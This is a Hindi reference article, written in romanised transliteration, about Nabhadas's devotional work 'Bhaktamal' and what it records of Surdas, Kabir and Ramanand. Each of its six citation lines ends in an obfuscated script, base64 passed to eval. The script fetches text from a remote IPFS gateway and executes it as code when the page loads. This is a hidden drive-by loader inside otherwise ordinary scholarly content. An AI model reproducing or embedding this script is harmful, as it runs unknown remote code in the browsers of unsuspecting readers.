भक्तमाल

nabhadas ka 'bhaktamal' bahut prasiddh hindi granth hai. nabhadas ka prasiddh granth 'bhaktamal' sanvath 1642 ke bad bana aur sanvath 1769 mean 'priyadas' ji ne usaki tika likhi. is granth mean 200 bhaktoan ke chamatkarapoorn charitr 316 chhappayoan mean likhe ge haian. in charitroan mean poorn jivanavritt nahian hai, keval bhakti ki mahimasoochak batean di gee haian. inaka uddeshy bhaktoan ke prati janata mean poojyabuddhi ka prachar jan p data hai. yah uddeshy bahut aanshoan mean siddh bhi hua. aj uttari bharat ke gaanv gaanv mean sadhuveshadhari purushoan ko shastrajn vidvanoan aur panditoan se kahian badhakar jo samman aur pooja prapt hai, vah bahut kuchh bhaktoan ki karamatoan aur chamatkarapoorn vrittaantoan ke samyakh prachar se.^[1]

bhaktamal ka prakashan

bhaktamal ka prakashan shriramakripaladas 'chitrakooti' dvara kiya gaya hai. nabhadas ki bhaktamal ek aisi rachana hai, jo madhyakalin sant-bhaktoan ke jivan ke sanbandh mean adharabhoot samagri upalabdh karavati hai. satrahavian shatabdi ke chhathe aur satavean dashak mean vartaman ke ek prasiddh vaishnav bhakt (nabhadas) jo jati ke dom the. unhoanne apane guru agradas ki ajna se ‘bhaktamal’ namak prasiddh granth likha tha. nabhadas ji ne apane 'bhaktamal' mean kaha hai ki sakhi-sampraday mean radha-krishna ki upasana aur aradhana ki lilaoan ka avalokan sadhak sakhi-bhav se kahata hai. sakhi-sampraday mean prem ki gambhirata aur nirmalata darshaniy hai.

kaviyoan ke sanbandh mean

'bhaktamal' ki tika ke anusar rahim ne aisi hi paristhiti mean vyangyapoorn dohe rache the. anumanat: gosvami ji ne yahi bat rasakhan ke sanbandh mean bhi kah dali.
nandadas 16 vian shati ke aantim charan ke kavi the. inake vishay mean ‘bhaktamal’ mean likha hai-

‘chandrahas-agraj suhrid param prem mean page’

radhavallabh sampraday ke prasiddh bhakt chaturbhujadas ka varnan nabha ji ne apane 'bhaktamal' mean kiya hai.
bhaktamal ke anusar raghavanand hi ramanand ke guru the. apani udar vicharadhara ke karan ramanand ne svatantr sampraday sthapit kiya. unaka kendr math kashi ke panch gangaghat par tha, phir bhi unhoanne bharat ke pramukh tirthoan ki yatraean ki thian aur apane mat ka prachar kiya tha.

sooradas ke sanbandh mean

'bhaktamal' mean sooradas ke sanbandh mean keval ek yahi chhappay milata hai:-

ukti choj anupras baran asthiti ati bhari.
bachan priti nirvah arth adbhut tuk dhari
pratibianbit divi dishti, hriday harilila bhasi.
janam karam gun roop sabai rasana parakasi
bimal buddhi gun aur ki jo yah gun shravanani dharai.
soor kavit suni kaun kavi jo nahian sir chalan karai^[2]

is chhappay mean soor ke aandhe hone bhar ka sanket hai jo paranpara se prasiddh chala ata hai. jivan ka koee vishesh pramanik vritt n pakar idhar kuchh logoan ne soor ke samay ke asapas ke kisi aitihasik lekh mean jahaan kahian sooradas nam mila hai vahian ka vritt prasiddh sooradas par ghatane ka prayatn kiya hai.

kabir ke sanbandh mean

nabhadas ne apane bhaktamal mean do chhappayoan mean kabir ke vishay mean kuchh soochanaean di haian. pratham chhappay mean kabiradas ki vani ki pramukh visheshataoan par prakash dala gaya hai. jaise unake dvara sthapit bhakti ki vishishtata, yog, yajn, vrat aur dan ki tuchchhata. hindoo aur turk donoan ke praman hetu ramaini, sabadi aur sakhi ki rachana, varnashram dharm ki upeksha adi. sath hi ramanand ke shishyoan mean kabir ki bhi pariganana ki gee hai. doosare chhappay ki panktiyaan is prakar haian-

shri ramanand raghunath jyoan dutiy setu jagataran kiyo..
anantanand kabir sukha surasura padyavati narahari.
pipa vamanand raidas dhana sen surasari ki dharahari..
auro shishy prashishy ekate ek ujagar.
vishv mangal adhar sarvanand dashadha ke agar..
bahut kal bapu dhari kai pranat janat ko par diyau.
shri ramanand raghunath jyoan dutiy setu jagaratan kiyau..^[3]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ achary, ramachandr shukl “prakaran 4”, hindi sahity ka itihas (hindi). bharatadiskavari pustakalay: kamal prakashan, nee dilli, prishth san. 108.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ krishnabhakti shakha (1) - hindi sahity ka itihas (hindi) (ech.ti.em.el) hindikuanj. abhigaman tithi: 20 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ kabir ka jivan-vritt (hindi) pustak d aaut o ar ji. abhigaman tithi: 20 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] ry, ramachandr shukl “prakaran 4”, hindi sahity ka itihas (hindi). bharatadiskavari pustakalay: kamal prakashan, nee dilli, prishth san. 108.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] rishnabhakti shakha (1) - hindi sahity ka itihas (hindi) (ech.ti.em.el) hindikuanj. abhigaman tithi: 20 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] r ka jivan-vritt (hindi) pustak d aaut o ar ji. abhigaman tithi: 20 aktoobar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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